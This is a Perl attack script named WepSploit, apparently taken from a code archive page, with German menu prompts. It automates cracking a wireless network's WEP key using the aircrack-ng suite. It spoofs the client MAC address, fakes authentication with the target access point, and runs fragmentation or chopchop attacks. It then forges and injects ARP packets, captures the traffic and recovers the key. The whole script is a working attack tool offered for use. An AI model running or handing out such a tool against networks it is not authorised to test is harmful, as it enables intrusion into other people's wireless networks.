./c0de/perl/WepSploit.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
138.
139.
140.
141.
142.
143.
144.
145.
146.
147.
148.
149.
150.
151.
152.
153.
154.
155.
156.
157.
158.
159.
160.
161.
162.
163.
164.
165.
166.
167.
168.
169.
170.
171.
172.
173.
174.
175.
176.
177.
178.
179.
180.
181.
182.
183.
184.
185.
186.
187.
188.
189.
190.
191.
192.
193.
194.
195.
196.
197.
198.
199.
200.
201.
202.
203.
204.
205.
206.
207.
208.
209.
210.
211.
212.
213.
214.
215.
216.
217.
218.
219.
220.
221.
222.
223.
224.
225.
226.
227.
228.
229.
230.
231.
232.
233.
234.
235.
236.
237.
238.
239.
240.
241.
242.
243.
244.
245.
246.
247.
248.
249.
250.
#!usr/bin/perl
# WepSploit <= 1.0.1
# Discovered by: Neo2k8
# Visit: [url]www.DarK-CodeZ.org[/url] / [url]www.Codeware.de.am[/url]
# Comment: Happy easter!
#
#   ___     ___
#  /   \   /   \       ___________________________
# /   / \_/ \   \     /                           \
# \__/\     /\__/    /  GIVE ME A CARROT OR I WILL \
#      \O O/         \      BLOW UP YOUR HOUSE     /
#   ___/ ^ \___      / ___________________________/
#      \___/        /_/
#      _/ \_
#   __//   \\__
#  /___\/_\/___\
#
########################################################
#
# Only for Linux with Aircrack-ng
#
# Tested on Backtrack 2 Final , Backtrack 3 Beta
#
########################################################
if (@ARGV < 4)
{
print<<EOF;
\n\n
 ________               _______         __         __ __   
|  |  |  |.-----.-----.|     __|.-----.|  |.-----.|__|  |_ 
|  |  |  ||  -__|  _  ||__     ||  _  ||  ||  _  ||  |   _|
|________||_____|   __||_______||   __||__||_____||__|____|
                |__|            |__|     
					coded by Neo2k8
Usage : 
perl WepSploit.pl <channel> <mac from ap> <ssid> <interface>
 
 
EOF
exit;
} 
 
$channel = $ARGV[0];
$apmac= $ARGV[1];
$ssid= $ARGV[2];
$interface = $ARGV[3];
&loop;
 
sub loop {
system("clear");
print "\n\n","Bitte waehlen Sie","\n";
print "--------------------------","\n";
print "[1] Eigene ClientMAC benutzen","\n";
print "[2] Random ClientMAC benutzen","\n";
chomp($eingabe=<STDIN>);
Case:{
	$eingabe==1 && do {
			system("clear");
			print "\n","Bitte geben Sie die ClientMac ein","\n";
			print "die benutzt werden soll","\n";
			chomp($clientmac=<STDIN>);
			&start;
			last Case;
			  };
 
	$eingabe==2 && do {
			system("clear");
			print "\n","Benutze Random ClientMAC","\n";
			&macchanger;
			last Case;
			  };
			do {
			 print "\n","Falsche eingabe","\n";
			  &loop; 
			  };
}
}
sub macchanger {
$a = int(rand(90) +10);
$b = int(rand(90) +10);
$c = int(rand(90) +10);
$d = int(rand(90) +10);
$e = int(rand(90) +10);
$f = int(rand(90) +10);
$clientmac = "$a:$b:$c:$d:$e:$f";
&start;
}
 
sub start {
print "Faked MAC is : $clientmac","\n\n\n";
system("ifconfig $interface down");
system("macchanger -m $clientmac $interface");
system("ifconfig $interface up");
sleep 3;
system("airmon-ng stop $interface");
sleep 1;
system("airmon-ng start $interface $channel");
sleep 3;
&loop2;
}
 
sub loop2 {
system("clear");
print "\n\n","Bitte waehlen Sie","\n";
print "--------------------------","\n";
print "[1] Normale Authentication","\n";
print "[2] Andere Authentication fuer Picky Access Points","\n";
chomp($eingabe=<STDIN>);
Case:{
	$eingabe==1 && do {
			system("clear");
		   print "\n","+++++++++++++++++++++++++++++++","\n";
			print "++++ Normal Authentication ++++","\n";
			print "+++++++++++++++++++++++++++++++","\n";
			&normal;
			last Case;
			  };
 
	$eingabe==2 && do {
			system("clear");
		   print "\n","++++++++++++++++++++++++++++++","\n";
			print "++++ Picky Authentication ++++","\n";
			print "++++++++++++++++++++++++++++++","\n";
			&picky;
			last Case;
			  };
			do {
			 print "\n","Falsche eingabe","\n";
			  &loop2; 
			  };
}
}
 
 
 
sub normal {
system("aireplay-ng -1 0 -e $ssid -a $apmac -h $clientmac $interface");
sleep 4;
&loop3;
}
 
sub picky {
if (defined($pid = fork)) {
if ($pid) {
	&loop3;
} else {
	&execut;
}
}
else {
die "Prozess klonen fehlgeschlagen\n";
}
}
 
sub execut {
system("konsole --e aireplay-ng -1 6000 -o 1 -q 10 -e $ssid -a $apmac -h $clientmac $interface");
}
 
sub loop3 {
system("clear");
print "\n\n","Bitte waehlen Sie","\n";
print "--------------------------","\n";
print "[1] Fragmentation Attack","\n";
print "[2] Chopchop Attack","\n";
chomp($attack=<STDIN>);
Case:{
	$attack==1 && do {
			system("clear");
		   print "\n","++++++++++++++++++++++++++++++","\n";
			print "++++ Fragmentation Attack ++++","\n";
			print "++++++++++++++++++++++++++++++","\n";
			&frag;
			last Case;
			  };
 
	$attack==2 && do {
			system("clear");
		   print "\n","++++++++++++++++++++++++++++++","\n";
			print "++++   Chopchop  Attack   ++++","\n";
			print "++++++++++++++++++++++++++++++","\n";
			&chop;
			last Case;
			  };
			do {
			 print "\n","Falsche eingabe","\n";
			  &loop2; 
			  };
}
}
 
sub frag {
system("aireplay-ng -5 -b $apmac -h $clientmac $interface");
sleep 3;
&loop4;
}
 
 
sub chop {
system("aireplay-ng -4 -b $apmac -h $clientmac $interface");
sleep 3;
&loop4;
}
 
sub loop4 {
system("packetforge-ng -0 -a $apmac -h $clientmac -k 255.255.255.255 -l 255.255.255.255 -y *.xor -w arp-request");
sleep 3;
&loop5;
}
 
sub loop5 {
if (defined($pid = fork)) {
if ($pid) {
	&loop6;
} else {
	&dump;
}
}
else {
die "Prozess klonen fehlgeschlagen\n";
}
 
}
 
sub dump {
system("konsole --e airodump-ng -c $channel --bssid $apmac -w capture $interface");
}
 
sub loop6 {
if (defined($pid = fork)) {
if ($pid) {
	&loop7;
} else {
	&inject;
}
}
else {
die "Prozess klonen fehlgeschlagen\n";
}
 
}
 
 
sub inject {
system("konsole --e aireplay-ng -2 -r arp-request $interface");
}
 
sub loop7 {
sleep 20;
system("aircrack-ng -z -b $apmac capture*.cap");
}

Back